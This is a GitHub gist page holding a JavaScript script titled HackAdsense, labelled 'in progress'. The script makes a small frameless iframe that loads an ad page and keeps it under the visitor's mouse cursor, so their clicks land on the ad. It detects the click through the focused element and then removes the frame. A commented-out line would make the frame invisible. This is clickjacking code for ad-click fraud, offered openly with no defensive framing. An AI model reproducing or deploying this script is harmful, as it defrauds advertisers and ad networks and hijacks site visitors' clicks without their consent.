Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@juanpablocs
Created December 6, 2015 21:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save juanpablocs/7fb73b679228efcf12cd to your computer and use it in GitHub Desktop.
Save juanpablocs/7fb73b679228efcf12cd to your computer and use it in GitHub Desktop.
in progress
function HackAdsense(option)
{
this.interval = 0;
this.bodyClicked = false;
this.iframeWrapper = null;
this.iframeId = 'frm' + Math.round(Math.random()*999999999);
this.option = option;
this.run = function(){
var self = this;
self.iframeWrapper = createIframe(self);
runMouseMove(self);
updateActiveElement(self);
self.interval = setInterval(function(){ updateActiveElement(self)}, 50);
}
function createIframe(self){
var lbox = document.createElement('iframe');
lbox.src = self.option.urlIframe;
lbox.id = self.iframeId;
lbox.scrolling = 'no';
lbox.frameBorder = 0;
lbox.allowTransparency = 'true';
lbox.style.border = 0;
lbox.style.overflow = 'hidden';
lbox.style.width = '53px';
lbox.style.height = '23px';
lbox.style.position = 'absolute';
// lbox.style.opacity = 0;
document.getElementsByTagName('body')[0].appendChild(lbox);
return lbox;
}
function updateActiveElement(self){
if(document.activeElement.id == self.iframeId) {
clearInterval(self.interval);
self.bodyClicked = true;
removeIframe(self)
}
}
function removeIframe(self){
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(self.iframeWrapper)
},500);
}
function runMouseMove(self){
window.addEventListener('mousemove', function(e){
var Xcord = e.pageX;
var Ycord = e.pageY;
if (Xcord < 0) Xcord = 0;
if (Ycord < 0) Ycord = 0;
self.iframeWrapper.style.top = (Ycord - 8) + 'px';
self.iframeWrapper.style.left = (Xcord - 25) + 'px';
return true
}, false);
}
}
var hack = new HackAdsense({urlIframe:"adsense.html"});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment